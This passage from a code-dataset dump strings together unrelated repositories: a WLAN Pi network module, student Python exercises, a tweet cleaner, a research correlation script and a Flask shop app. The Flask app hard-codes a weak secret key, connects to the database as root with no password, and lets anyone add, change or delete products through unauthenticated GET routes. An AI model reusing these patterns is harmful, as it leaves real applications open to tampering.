g_vars['drawing_in_progress'] = True\n\n # Display cached results (if any)\n if g_vars['result_cache'] == True:\n self.paged_table_obj.display_paged_table(g_vars,\n { 'title' : \"WLAN Interfaces\", 'pages': g_vars[g_wlan_interfaces_key] })\n g_vars['disable_keys'] = False\n return None\n\n interfaces = []\n pages = []\n\n try:\n interfaces = subprocess.check_output(f\"{IWCONFIG_FILE} 2>&1 | grep 802.11\" + \"| awk '{ print $1 }'\", shell=True).decode().strip().split()\n except Exception as e:\n print(e)\n\n for interface in interfaces:\n page = []\n page.append(f\"Interface: {interface}\")\n\n # Driver\n try:\n ethtool_output = subprocess.check_output(f\"{ETHTOOL_FILE} -i {interface}\", shell=True).decode().strip()\n driver = re.search(\".*driver:\\s+(.*)\", ethtool_output).group(1)\n page.append(f\"Driver: {driver}\")\n except Exception:\n pass\n\n # Addr, SSID, Mode, Channel\n try:\n iw_output = subprocess.check_output(f\"{IW_FILE} {interface} info\", shell=True).decode().strip()\n\n # Addr\n try:\n addr = re.search(\".*addr\\s+(.*)\", iw_output).group(1).replace(\":\", \"\").upper()\n page.append(f\"Addr: {addr}\")\n except Exception:\n pass\n\n # Mode\n try:\n mode = re.search(\".*type\\s+(.*)\", iw_output).group(1)\n page.append(f\"Mode: {mode.capitalize() if not mode.isupper() else mode}\")\n except Exception:\n pass\n\n # SSID\n try:\n ssid = re.search(\".*ssid\\s+(.*)\", iw_output).group(1)\n page.append(f\"SSID: {ssid}\")\n except Exception:\n pass\n\n # Frequency\n try:\n freq = int(re.search(\".*\\(([0-9]+)\\s+MHz\\).*\", iw_output).group(1))\n channel = self.channel_lookup(freq)\n page.append(f\"Freq (MHz): {freq}\")\n page.append(f\"Channel: {channel}\")\n except Exception:\n pass\n\n except Exception as e:\n print(e)\n\n pages.append(page)\n\n self.paged_table_obj.display_paged_table(g_vars, { 'title' : \"WLAN Interfaces\", 'pages': pages })\n\n g_vars[g_wlan_interfaces_key] = pages\n g_vars['result_cache'] = True\n g_vars['display_state'] = 'page'\n g_vars['drawing_in_progress'] = False\n g_vars['disable_keys'] = False\n\n def show_eth0_ipconfig(self, g_vars):\n '''\n Return IP configuration of eth0 including IP, default gateway, DNS servers\n '''\n ipconfig_file = IPCONFIG_FILE\n\n eth0_ipconfig_info = []\n\n try:\n ipconfig_output = subprocess.check_output(\n ipconfig_file, shell=True).decode().strip()\n ipconfig_info = ipconfig_output.split('\\n')\n\n except subprocess.CalledProcessError as exc:\n output = exc.output.decode()\n #error_descr = \"Issue getting ipconfig\"\n ipconfigerror = [\"Err: ipconfig command error\", output]\n self.simple_table_obj.display_simple_table(g_vars, ipconfigerror)\n return\n\n for n in ipconfig_info:\n # do some cleanup\n n = n.replace(\"DHCP server name\", \"DHCP\")\n n = n.replace(\"DHCP server address\", \"DHCP IP\")\n eth0_ipconfig_info.append(n)\n\n # final check no-one pressed a button before we render page\n if g_vars['display_state'] == 'menu':\n return\n\n if len(ipconfig_info) <= 1:\n self.alert_obj.display_alert_error(g_vars, \"Eth0 is down or not connected.\")\n else:\n self.paged_table_obj.display_list_as_paged_table(g_vars, eth0_ipconfig_info, title='Eth0 IP Config')\n\n return\n\n def show_vlan(self, g_vars):\n '''\n Display untagged VLAN number on eth0\n Todo: Add tagged VLAN info\n '''\n lldpneigh_file = LLDPNEIGH_FILE\n cdpneigh_file = CDPNEIGH_FILE\n\n vlan_info = []\n\n vlan_cmd = \"sudo grep -a VLAN \" + lldpneigh_file + \\\n \" || grep -a VLAN \" + cdpneigh_file\n\n if os.path.exists(lldpneigh_file):\n\n try:\n vlan_output = subprocess.check_output(\n vlan_cmd, shell=True).decode()\n vlan_info = vlan_output.split('\\n')\n\n if len(vlan_info) == 0:\n vlan_info.append(\"No VLAN found\")\n\n except:\n vlan_info = [\"No VLAN found\"]\n\n # final check no-one pressed a button before we render page\n if g_vars['display_state'] == 'menu':\n return\n\n self.simple_table_obj.display_simple_table(g_vars, vlan_info, title='Eth0 VLAN')\n\n def show_lldp_neighbour(self, g_vars):\n '''\n Display LLDP neighbour on eth0\n '''\n lldpneigh_file = LLDPNEIGH_FILE\n\n neighbour_info = []\n neighbour_cmd = \"sudo cat \" + lldpneigh_file\n\n if os.path.exists(lldpneigh_file):\n\n try:\n neighbour_output = subprocess.check_output(\n neighbour_cmd, shell=True).decode()\n neighbour_info = neighbour_output.split('\\n')\n\n except subprocess.CalledProcessError as exc:\n output = exc.output.decode()\n #error_descr = \"Issue getting LLDP neighbour\"\n error = [\"Err: Neighbour command error\", output]\n self.simple_table_obj.display_simple_table(g_vars, error)\n return\n\n if len(neighbour_info) == 0:\n neighbour_info.append(\"No neighbour\")\n\n # final check no-one pressed a button before we render page\n if g_vars['display_state'] == 'menu':\n return\n\n self.paged_table_obj.display_list_as_paged_table(g_vars, neighbour_info, title='LLDP Neighbour')\n\n\n def show_cdp_neighbour(self, g_vars):\n '''\n Display CDP neighbour on eth0\n '''\n cdpneigh_file = CDPNEIGH_FILE\n\n neighbour_info = []\n neighbour_cmd = \"sudo cat \" + cdpneigh_file\n\n if os.path.exists(cdpneigh_file):\n\n try:\n neighbour_output = subprocess.check_output(\n neighbour_cmd, shell=True).decode()\n neighbour_info = neighbour_output.split('\\n')\n\n except subprocess.CalledProcessError as exc:\n output = exc.output.decode()\n #error_descr = \"Issue getting LLDP neighbour\"\n error = [\"Err: Neighbour command error\", output]\n self.simple_table_obj.display_simple_table(g_vars, error)\n return\n\n if len(neighbour_info) == 0:\n neighbour_info.append(\"No neighbour\")\n\n # final check no-one pressed a button before we render page\n if g_vars['display_state'] == 'menu':\n return\n\n self.paged_table_obj.display_list_as_paged_table(g_vars, neighbour_info, title='CDP Neighbour')\n\n def show_publicip(self, g_vars, ip_version=4):\n '''\n Shows public IP address and related details, works with any interface with internet connectivity\n '''\n\n publicip_info = []\n cmd = PUBLICIP6_CMD if ip_version == 6 else PUBLICIP_CMD\n\n if g_vars['result_cache'] == False:\n self.alert_obj.display_popup_alert(g_vars, \"Detecting public \" + (\"IPv6...\" if ip_version == 6 else \"IPv4...\"))\n\n try:\n g_vars[\"disable_keys\"] = True\n publicip_output = subprocess.check_output(\n cmd, shell=True).decode().strip()\n publicip_info = publicip_output.split('\\n')\n g_vars['publicip_info'] = publicip_info\n g_vars['result_cache'] = True\n except subprocess.CalledProcessError:\n self.alert_obj.display_alert_error(g_vars, \"Failed to detect public IP address\")\n return\n finally:\n g_vars[\"disable_keys\"] = False\n\n else:\n\n publicip_info = g_vars['publicip_info']\n if len(publicip_info) == 1:\n self.alert_obj.display_alert_error(g_vars, publicip_info[0])\n return\n\n title = \"Public IPv6\" if ip_version == 6 else \"Public IPv4\"\n self.paged_table_obj.display_list_as_paged_table(g_vars, publicip_info, title=title, justify=False)\n","repo_name":"WLAN-Pi/wlanpi-fpms","sub_path":"fpms/modules/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":13474,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"39244411899","text":"#En este segundo ejercicio, tendréis que crear un archivo py y dentro crearéis una clase Vehículo,\n#haréis un objeto de ella, lo guardaréis en un archivo y luego lo cargamos.\n\nimport pickle\n\nclass Vehiculo:\n marca = \"\"\n color = \"\"\n\n def __init__(self, marca, color):\n self.marca = marca\n self.color = color\n\n def getMarca(self):\n return self.marca\n\n def getColor(self):\n return self.color\n\ncoche = Vehiculo(\"Seat\", \"Negro\")\nprint(coche.getMarca(), coche.getColor())\n\nf = open('datos.bin', 'wb')\npickle.dump(coche, f)\nf.close()\n\nf = open('datos.bin', 'rb')\ncoche2 = pickle.load(f)\nf.close()\n\nprint(type(coche2))\nprint(coche2.getMarca())\nprint(coche2.getColor())","repo_name":"slyder83/OpenBootcamp-Ejercicios","sub_path":"Curso de Python/Tema 8/Ejercicio 2.py","file_name":"Ejercicio 2.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"14016986737","text":"# Include your imports here, if any are used.\r\n\r\nstudent_name = \"Helen Rudoler\"\r\n\r\n# 1. Value Iteration\r\nclass ValueIterationAgent:\r\n \"\"\"Implement Value Iteration Agent using Bellman Equations.\"\"\"\r\n\r\n def __init__(self, game, discount):\r\n \"\"\"Store game object and discount value into the agent object,\r\n initialize values if needed.\r\n \"\"\"\r\n self.states = game.states\r\n self.get_actions = game.get_actions\r\n self.get_transitions = game.get_transitions\r\n self.get_reward = game.get_reward\r\n self.discount = discount\r\n # self.current_state = (0,0)\r\n self.values = {state:0.0 for state in self.states}\r\n\r\n def get_value(self, state):\r\n \"\"\"Return value V*(s) correspond to state.\r\n State values should be stored directly for quick retrieval.\r\n \"\"\"\r\n return self.values.get(state,0.0)\r\n\r\n def get_q_value(self, state, action):\r\n \"\"\"Return Q*(s,a) correspond to state and action.\r\n Q-state values should be computed using Bellman equation:\r\n Q*(s,a) = Σ_s' T(s,a,s') [R(s,a,s') + γ V*(s')]\r\n \"\"\"\r\n q_value = 0\r\n # print(f\"transitions are: {self.get_transitions(state, action)}\")\r\n t = self.get_transitions(state, action)\r\n #use t.items()\r\n for new_state in t:\r\n q_value += t[new_state] * (self.get_reward(state, action, new_state) + self.discount * self.get_value(new_state))\r\n # print(f\"old_state: {state}, new_state: {new_state}, p: {t[new_state]}, reward: {self.get_reward(state, action, new_state)} q_value: {q_value}\")\r\n return q_value\r\n\r\n def get_best_policy(self, state):\r\n \"\"\"Return policy π*(s) correspond to state.\r\n Policy should be extracted from Q-state values using policy extraction:\r\n π*(s) = argmax_a Q*(s,a)\r\n \"\"\"\r\n best_policy = None\r\n best_value = float('-inf')\r\n #game is terminal \r\n for action in self.get_actions(state): \r\n new_value = self.get_q_value(state, action)\r\n if new_value > best_value:\r\n best_policy = action\r\n best_value = new_value\r\n # print(f\"state: {state}, best_value: {best_value}\")\r\n return best_policy\r\n\r\n def iterate(self):\r\n \"\"\"Run single value iteration using Bellman equation:\r\n V_{k+1}(s) = max_a Q*(s,a)\r\n Then update values: V*(s) = V_{k+1}(s)\r\n \"\"\"\r\n #create a new empty dictionary, loop through all the states and get best policy with each state, and get q value for each\r\n #dict[state] = q.value\r\n #then reset old dictionary to new dictionary \r\n best_policies = {}\r\n for state in self.states:\r\n # print(state)\r\n # print(self.get_best_policy(state))\r\n #actions may be empty\r\n if self.get_best_policy(state):\r\n best_policies[state] = self.get_q_value(state, self.get_best_policy(state))\r\n\r\n self.values = best_policies\r\n\r\n#set policies to be whatever you want \r\n#while policies didn't change\r\n#loop through all the states and update the best policy\r\n\r\n# 2. Policy Iteration\r\nclass PolicyIterationAgent(ValueIterationAgent):\r\n \"\"\"Implement Policy Iteration Agent.\r\n\r\n The only difference between policy iteration and value iteration is at\r\n their iteration method. However, if you need to implement helper function or\r\n override ValueIterationAgent's methods, you can add them as well.\r\n \"\"\"\r\n\r\n def iterate(self):\r\n \"\"\"Run single policy iteration.\r\n Fix current policy, iterate state values V(s) until |V_{k+1}(s) - V_k(s)| < ε\r\n \"\"\"\r\n epsilon = 1e-6\r\n policy = {state:self.get_best_policy(state) for state in self.states}\r\n count = 100\r\n while True:\r\n count += 1\r\n biggest_diff = 0\r\n for state in self.states:\r\n\r\n action = policy[state]\r\n\r\n old_score = self.get_value(state)\r\n # print(action)\r\n # print(state)\r\n new_score = self.get_q_value(state, action)\r\n\r\n self.values[state] = new_score\r\n\r\n diff = abs(old_score - new_score)\r\n\r\n if diff > biggest_diff:\r\n biggest_diff = diff\r\n\r\n if biggest_diff <= epsilon:\r\n break\r\n\r\n\r\n# 3. Bridge Crossing Analysis\r\ndef question_3():\r\n discount = 0.9\r\n noise = 0.01\r\n return discount, noise\r\n\r\n# 4. Policies\r\ndef question_4a():\r\n discount = 0.3\r\n noise = 0.0\r\n living_reward = 0.0\r\n return discount, noise, living_reward\r\n # If not possible, return 'NOT POSSIBLE'\r\n\r\n\r\ndef question_4b():\r\n discount = 0.3\r\n noise = 0.2\r\n living_reward = 0.0\r\n return discount, noise, living_reward\r\n # If not possible, return 'NOT POSSIBLE'\r\n\r\n\r\ndef question_4c():\r\n discount = 0.9\r\n noise = 0.0\r\n living_reward = 0.0\r\n return discount, noise, living_reward\r\n # If not possible, return 'NOT POSSIBLE'\r\n\r\n\r\ndef question_4d():\r\n discount = 0.9\r\n noise = 0.2\r\n living_reward = 0.0\r\n return discount, noise, living_reward\r\n # If not possible, return 'NOT POSSIBLE'\r\n\r\n\r\ndef question_4e():\r\n discount = 0.3\r\n noise = 0.0\r\n living_reward = 40.0\r\n return discount, noise, living_reward\r\n # If not possible, return 'NOT POSSIBLE'\r\n\r\n# 5. Feedback\r\n# Just an approximation is fine.\r\nfeedback_question_1 = 2.5\r\n\r\nfeedback_question_2 = \"\"\"\r\nI was confused about what policy was (a single action vs a set of actions), and also took time to understand the difference between value and q-value.\r\n\"\"\"\r\n\r\nfeedback_question_3 = \"\"\"\r\nI definitely liked that it helped me understand MDPs, because doing this assignment made me realize that I totally did not understand it before. \r\n\"\"\"\r\n","repo_name":"hrudoler/CIS4210","sub_path":"HW6 - MDP/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":5851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12950837321","text":"### Modules\nfrom colorsys import hls_to_rgb\n\n### Constants\nFULL_CIRCLE = 360\nLINEAR_SCALE = 100\n\n### Variables\nhueStep = 5\nlinearStep = 10\nisLuminosityConst = False\nzz = .75\n\n### Instructions\nnewPage(400, 400)\ntranslate(width()/2, height()/2)\n\nfor angle in range(0, FULL_CIRCLE, hueStep):\n for linear in range(0, LINEAR_SCALE, linearStep):\n radius = 150 * linear/LINEAR_SCALE\n\n if isLuminosityConst:\n rgbClr = hls_to_rgb(angle/FULL_CIRCLE, zz, linear/LINEAR_SCALE)\n else:\n rgbClr = hls_to_rgb(angle/FULL_CIRCLE, linear/LINEAR_SCALE, zz)\n fill(*rgbClr)\n\n with savedState():\n rotate(angle)\n translate(radius, 0)\n oval(-4, -4, 8, 8)","repo_name":"roberto-arista/PythonForDesigners","sub_path":"content/tutorials/hsl-color-wheel/radial.py","file_name":"radial.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":106,"dataset":"github-code","pt":"69"} +{"seq_id":"73762514461","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 22 15:49:47 2019\n\n@author: Curt\n\"\"\"\nimport os\nimport pandas as pd\nimport numpy as np\nimport re\nfrom scipy import stats\nfrom decimal import Decimal, ROUND_HALF_UP\n\n####### A) Setting working directory ####### \n### Anti ###\npath = \"C:/Users/Curt/Box Sync/Bruce Projects/Dissertation/Manuscript/For Publication/EJoP/Revision/New Analyses\"\nos.chdir(path)\nUltron = pd.read_csv('AllData_AnalysisReady_withUPPSfacets.txt', sep='\\t')\n\n####### B) Selecting relevant variables ####### \nSelfControlList = ['BriefSC', 'NEOCon', 'UPPS', 'UPPS_PosUrg', 'UPPS_NegUrg', 'UPPS_Prem', 'UPPS_Pers', 'UPPS_Sens']\noutList2 = \"\"\"Buy MoneyCons FinWB ExerciseReport Fat DietSingle BMI Hyg SexRisk Sleep \n#TV GamePathScore PhoneTime PhonePath Lifesat Meaning LeisureTot2 DepTot \n#AnxTot AggTot DietDys RelatSat RelatAccNoLoy SchoolEng SchoolStrat \n#SchoolGPA ACTTot WorkPresTot\"\"\"\noutList2 = re.findall(r\"\\w+\", outList2)\nSC_Outcome_List = SelfControlList + outList2\nUltron = Ultron[SC_Outcome_List]\n\n####### H) Getting the correlations and the p-values separately #######\ntempList = []\nfor dv in outList2:\n for iv in SelfControlList:\n nas = np.logical_and(Ultron[iv].notna(), Ultron[dv].notna())\n tempList.append(stats.pearsonr(Ultron[iv][nas],Ultron[dv][nas])[0])\ntempList = [Decimal(x).quantize(Decimal('.11'), rounding=ROUND_HALF_UP) for x in tempList]\ntempList = np.reshape(tempList,(28,-1))\ncoefs = pd.DataFrame(tempList, index=outList2, columns=SelfControlList)\n\ntempList = []\nfor dv in outList2:\n for iv in SelfControlList:\n nas = np.logical_and(Ultron[iv].notna(), Ultron[dv].notna())\n tempList.append(stats.pearsonr(Ultron[iv][nas],Ultron[dv][nas])[1])\n#tempList = ['%.4f' % elem for elem in tempList]\ntempList = np.reshape(tempList,(28,-11))\npvalues = pd.DataFrame(tempList, index=outList2, columns=SelfControlList)\n\n####### I) Adding *s based on pvalues #######\nCoef_Pval = pd.DataFrame()\nValue = []\nfor var in SelfControlList:\n Value = []\n tempcoef = []\n for coef, pval in zip(coefs[var], pvalues[var]):\n if pval < .001:\n tempcoef = str(coef) + '***'\n elif pval < .01:\n tempcoef = str(coef) + '**'\n elif pval < .05:\n tempcoef = str(coef) + '*'\n else:\n tempcoef = str(coef)\n Value.append(tempcoef)\n Coef_Pval[var] = Value \n\n####### C) Removing leading 0s### Note: using the lstrip method will remove the '-' sign. #######\ndef Remove_Leading_0s(string):\n return string[0] + string[2:] if string[0] == '-' else string.lstrip('0')\nCoef_Pval = Coef_Pval.applymap(lambda x: Remove_Leading_0s(x))\n\n####### G) Adding a first column of outcome names #######\noutcomeLabels = [\"Compulsive Spending\",\n\"Monetary Prudence\",\n\"Financial Well-Being\",\n\"Exercise\",\n\"Fat Intake\",\n\"Diet Quality\",\n\"BMI\",\n\"Hygiene\", \n\"Risky Sexual Behavior\",\n\"Sleep Procrastination\",\n\"TV Duration\",\n\"Video Game Pathology\",\n\"Phone Duration\",\n\"Phone Pathology\",\n\"Life Satisfaction\",\n\"Meaning in Life\",\n\"Leisure Orientation\",\n\"Depression\",\n\"Anxiety\",\n\"Aggression\",\n\"Dysregulated Eating\",\n\"Rel. Satisfaction\",\n\"Rel. Accommodation\",\n\"School Engagement\",\n\"Study Habits\",\n\"GPA\",\n\"ACT\",\n\"Work Quality\"]\n\nCoef_Pval['Outcome'] = outcomeLabels\ncols = Coef_Pval.columns.tolist()\ncols = cols[-1:] + cols[:-1]\nCoef_Pval = Coef_Pval[cols] \nCoef_df_ordered = Coef_Pval\n\n####### J) Adding blank rows to match the manuscript ####### \nnan_row = pd.Series([np.nan])\nCoef_df_ordered = pd.concat([Coef_df_ordered.iloc[:3], nan_row, Coef_df_ordered.iloc[3:10], nan_row,\n Coef_df_ordered.iloc[10:14], nan_row, Coef_df_ordered.iloc[14:21],\n nan_row, Coef_df_ordered.iloc[21:23], nan_row, Coef_df_ordered.iloc[23:27],\n nan_row, Coef_df_ordered.iloc[27:29]], axis=0)\nCoef_df_ordered = Coef_df_ordered.iloc[:,1:]\nCoef_df_ordered = Coef_df_ordered.reset_index(drop=False)\n\n####### J) Rearanging columns ####### \nfinal_df = pd.DataFrame()\nfinal_df['Outcome'] = Coef_df_ordered['Outcome']\nfinal_df['Brief Self-control'] = Coef_df_ordered['BriefSC']\nfinal_df['Conscientiousness'] = Coef_df_ordered['NEOCon']\nfinal_df['UPPS-P'] = Coef_df_ordered['UPPS']\nfinal_df['PosUrge'] = Coef_df_ordered['UPPS_PosUrg']\nfinal_df['NegUrge'] = Coef_df_ordered['UPPS_NegUrg']\nfinal_df['Prem'] = Coef_df_ordered['UPPS_Prem']\nfinal_df['Pers'] = Coef_df_ordered['UPPS_Pers']\nfinal_df['Sens'] = Coef_df_ordered['UPPS_Sens']\n\n####### H) Exporting #######\npath = \"C:/Users/Curt/Box Sync/Bruce Projects/Dissertation/Manuscript/For Publication/EJoP/Revision/Figures\"\nos.chdir(path)\nfinal_df.to_csv('Self-Control_Outcome_corr_output.txt', sep='\\t', index=False)","repo_name":"Curt-Von-Gunten/Inhibition-tasks-are-not-associated-with-a-variety-of-behaviours-in-college-students-","sub_path":"Analyses/Correlations and tables/Supplemental_Table 3.py","file_name":"Supplemental_Table 3.py","file_ext":"py","file_size_in_byte":4674,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"19842189659","text":"import json\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport sys\n\nimport host_parser\n\n\n# read json to dict\ndef load_tweets(filename=None):\n if not filename:\n filename = 'gg2013.json'\n path = 'data/' + filename\n print('Reading {}'.format(filename))\n with open(path) as tweets_file:\n tweets = json.load(tweets_file)\n print('Finish reading {}'.format(filename))\n return tweets\n\n\ndef save_tweets(output_name):\n path = 'data/' + output_name + '_text.txt'\n f = open(path, 'w')\n tweets = load_tweets(output_name + '.json')\n counter = 0\n for t in tweets:\n if (len(t['text']) > 130):\n counter = counter + 1\n continue\n replaced = t['text'].replace('\\n', ' ')\n f.write('sent_' + str(counter) + ':\\n')\n f.write(replaced + '\\n')\n counter = counter + 1\n f.close()\n\n\ndef save_host_tweets(output_name):\n path = 'data/' + output_name + '_host_clean.txt'\n f = open(path, 'w')\n tweets = load_tweets(output_name + '.json')\n\n host_tweets_length_list = []\n\n for t in tweets:\n if not host_parser.has_host(t['text']):\n continue\n # replace \\n with whitespace\n replaced = t['text'].replace('\\n', ' ')\n # ignore tweets more than 130 length\n if (len(replaced) > 130):\n continue\n f.write(replaced + '\\n')\n\n f.close()\n\ndef clean_and_save(input_file, output_file):\n new_tweets = load_tweets(input_file)\n print(len(new_tweets))\n temp = []\n collection = set()\n for t in new_tweets:\n content = t['text']\n if content not in collection:\n collection.add(content)\n temp.append(t)\n\n new_tweets = pd.DataFrame(temp)\n print(len(new_tweets))\n new_tweets.to_json('data/' + output_file, orient='records')\n\ndef main(*args):\n #you can use terminal to run the script e.g., python json_read.py 'gg2013'\n print('Running {}'.format(sys.argv[0]))\n clean_and_save(sys.argv[1], sys.argv[1] + '_clean.json')\n print('Finish running {}'.format(sys.argv[0]))\n\n\nif __name__ == '__main__':\n main()\n # clean_and_save('gg2013.json', 'gg2013_clean.json')\n # clean_and_save('gg2015.json', 'gg2015_clean.json')","repo_name":"austin-py/337---Project-1-Twitter","sub_path":"json_reader.py","file_name":"json_reader.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"1769333151","text":"#!C:\\Python39\\python.exe -T\n\nfrom flask import Flask, render_template, request, session, redirect, url_for\nfrom datetime import timedelta\nimport datetime\nimport pymysql\nimport bcrypt\nimport re\n\napp = Flask(__name__)\napp.secret_key = \"123\"\napp.permanent_session_lifetime = timedelta(hours=24)\n\nmessage = \"\"\nnow = datetime.datetime.now()\n\n@app.route(\"/\")\ndef index():\n return render_template(\"index.html\", site=\"index\")\n\n@app.route(\"/szolgaltatasok\")\ndef szolgaltatasok():\n conn = pymysql.connect(host=\"localhost\", user=\"root\", passwd=\"\", database=\"computerdesk\")\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n\n\n cursor.execute(\"SELECT * FROM products\")\n rows = cursor.fetchall()\n\n return render_template(\"products.html\", products=rows, site=\"products\")\n\n@app.route(\"/rolunk\")\ndef rolunk():\n return render_template(\"us.html\", site=\"us\")\n\n@app.route(\"/elerhetosegek\")\ndef elerhetosegek():\n return render_template(\"contact.html\", site=\"support\")\n\n@app.route(\"/kosar\")\ndef kosar():\n return render_template(\"cart.html\", site=\"cart\")\n\n\n# Cart\n\n@app.route(\"/add_inc\", methods=[\"POST\", \"GET\"])\ndef add_inc():\n\n form_data = request.form\n\n quantity = int(form_data[\"quantity\"])\n product_code = form_data[\"code\"]\n\n if quantity and product_code and request.method == \"POST\":\n conn = pymysql.connect(host=\"localhost\", user=\"root\", passwd=\"\", database=\"computerdesk\")\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n cursor.execute(\"SELECT * FROM products WHERE code=%s\", product_code)\n row = cursor.fetchone()\n \n itemArray = { row['code'] : {'id' : row['id'], 'code' : row['code'], 'name' : row['name'], 'quantity' : quantity, 'price' : row['price'], 'icon' : row['icon'], 'total_price': quantity * row['price']}}\n\n all_total_quantity = 0\n all_total_price = 0\n session.modified = True\n\n if \"cartItems\" in session:\n if row[\"code\"] in session[\"cartItems\"]:\n for key, value in session[\"cartItems\"].items():\n if row[\"code\"] == key:\n old_quantity = session[\"cartItems\"][key][\"quantity\"]\n total_quantity = old_quantity + quantity\n session[\"cartItems\"][key][\"quantity\"] = total_quantity\n session[\"cartItems\"][key][\"total_price\"] = total_quantity * row[\"price\"]\n all_total_quantity = all_total_quantity + quantity\n all_total_price = all_total_price\n\n else:\n session[\"cartItems\"].update(itemArray)\n \n for key, value in session[\"cartItems\"].items():\n individual_quantity = int(session[\"cartItems\"][key][\"quantity\"])\n individual_price = int(session[\"cartItems\"][key][\"total_price\"])\n all_total_quantity = all_total_quantity + individual_quantity\n all_total_price = all_total_price + individual_price\n\n else:\n session[\"cartItems\"] = itemArray\n all_total_quantity = all_total_quantity + quantity\n all_total_price = all_total_quantity * row[\"price\"]\n \n session[\"all_total_quantity\"] = all_total_quantity\n session[\"all_total_price\"] = all_total_price\n\n return redirect(url_for(\".szolgaltatasok\", message=\"sikeres-kosarhoz-adas\"))\n \n else:\n return redirect(url_for(\".szolgaltatasok\", message=\"sikertelen-kosarhoz-adas\"))\n\n@app.route(\"/empty_cart_inc\", methods=[\"POST\", \"GET\"])\ndef empty_cart_inc():\n session.pop(\"cartItems\", None)\n return redirect(url_for(\".kosar\", message=\"sikeres-urites\"))\n\n@app.route(\"/delete_product_cart_inc/\", methods=[\"POST\", \"GET\"])\ndef delete_product_cart_inc():\n\n code = request.args.get(\"code\")\n\n all_total_price = 0\n all_total_quantity = 0\n session.modified = True\n\n for item in session[\"cartItems\"].items():\n if item[0] == code:\n session[\"cartItems\"].pop(item[0], None)\n if \"cartItems\" in session:\n for key, value in session[\"cartItems\"].items():\n individual_quantity = int(session[\"cartItems\"][key][\"quantity\"])\n individual_price = int(session[\"cartItems\"][key][\"total_price\"])\n all_total_quantity = all_total_quantity + individual_quantity\n all_total_price = all_total_price + individual_price\n break\n\n if all_total_quantity == 0:\n session.pop(\"cartItems\", None)\n\n else:\n session[\"all_total_quantity\"] = all_total_quantity\n session[\"all_total_price\"] = all_total_price\n \n if \"cartItems\" in session:\n message = \"sikeres-torles\"\n else:\n message = \"sikeres-urites\"\n \n return redirect(url_for(\".kosar\", message=message))\n\n@app.route(\"/add_product_inc\", methods=[\"GET\", \"POST\"])\ndef add_product_inc():\n\n conn = pymysql.connect(host=\"localhost\", user=\"root\", passwd=\"\", database=\"computerdesk\")\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n\n cursor.execute(\"SELECT * FROM products\")\n rows = cursor.fetchall()\n\n form_data = request.args\n\n if request.method == \"GET\":\n cursor.execute(\"INSERT INTO products (code, name, icon, price) VALUES (%s, %s, %s, %s)\", (form_data[\"code\"], form_data[\"name\"], form_data[\"icon\"], form_data[\"price\"]))\n conn.commit()\n return redirect(url_for(\".fiok\", message=\"sikeres-termek-letrehozas\"))\n else:\n return redirect(url_for(\".fiok\", message=\"sikertelen-termek-letrehozas\"))\n\n@app.route(\"/delete_product_inc\")\ndef delete_product_inc():\n\n conn = pymysql.connect(host=\"localhost\", user=\"root\", passwd=\"\", database=\"computerdesk\")\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n\n form_data = request.args\n\n if form_data[\"name\"]:\n cursor.execute(\"DELETE FROM products WHERE name=%s\", (form_data[\"name\"]))\n conn.commit()\n return redirect(url_for(\".fiok\", message=\"sikeres-termek-torles\"))\n else:\n return redirect(url_for(\".fiok\", message=\"sikertelen-termek-torles\"))\n\n@app.route(\"/update_product_inc\")\ndef update_product_inc():\n\n conn = pymysql.connect(host=\"localhost\", user=\"root\", passwd=\"\", database=\"computerdesk\")\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n\n form_data = request.args\n\n cursor.execute(\"UPDATE products SET name=%s, icon=%s, price=%s WHERE id=%s\", (form_data[\"name\"], form_data[\"icon\"], form_data[\"price\"], form_data[\"id\"]))\n conn.commit()\n return redirect(url_for(\".fiok\", message=\"sikeres-termek-frissites\"))\n\n\n# Account \n\n\n@app.route(\"/login_inc\", methods=[\"POST\", \"GET\"])\ndef login_inc():\n\n # Database connection\n conn = pymysql.connect(host=\"localhost\", user=\"root\", passwd=\"\", database=\"computerdesk\")\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n\n form_data = request.form\n\n cursor.execute(\"SELECT * FROM users WHERE usersUid = %s\", (form_data[\"uid\"]))\n account = cursor.fetchone()\n\n valid = bcrypt.checkpw(form_data[\"pwd\"].encode(\"utf-8\"), account[\"usersPwd\"].encode(\"utf-8\"))\n\n if account and valid:\n\n if form_data.get(\"rmbme\"):\n session.permanent = True\n else:\n session.permanent = False\n \n if account[\"admin\"] == 1:\n session[\"admin\"] = True\n else:\n session[\"admin\"] = False\n\n session[\"logged_in\"] = True\n session[\"userId\"] = account[\"usersId\"]\n session[\"userUid\"] = account[\"usersUid\"]\n session[\"userEmail\"] = account[\"usersEmail\"]\n session[\"userPwd\"] = account[\"usersPwd\"]\n\n return redirect(url_for(\".fiok\", message=\"sikeres-bejelentkezes\"))\n\n else: \n return redirect(url_for(\".bejelentkezes\", message=\"rossz-adatok\"))\n\n\n # Database connection close\n conn.commit()\n conn.close()\n cursor.close()\n\n@app.route(\"/register_inc\", methods=[\"POST\", \"GET\"])\ndef register_inc():\n\n # Database connection\n conn = pymysql.connect(host=\"localhost\", user=\"root\", passwd=\"\", database=\"computerdesk\")\n cursor = conn.cursor(pymysql.cursors.DictCursor)\n \n # Creating variable for data in forms for easy access\n form_data = request.form\n\n pwdLen = len(form_data[\"pwd\"])\n whitespace = \" \" in form_data[\"name\"]\n\n if pwdLen >= 6 and form_data[\"pwd\"] == form_data[\"pwdrepeat\"] and whitespace:\n\n hashAndSalt = 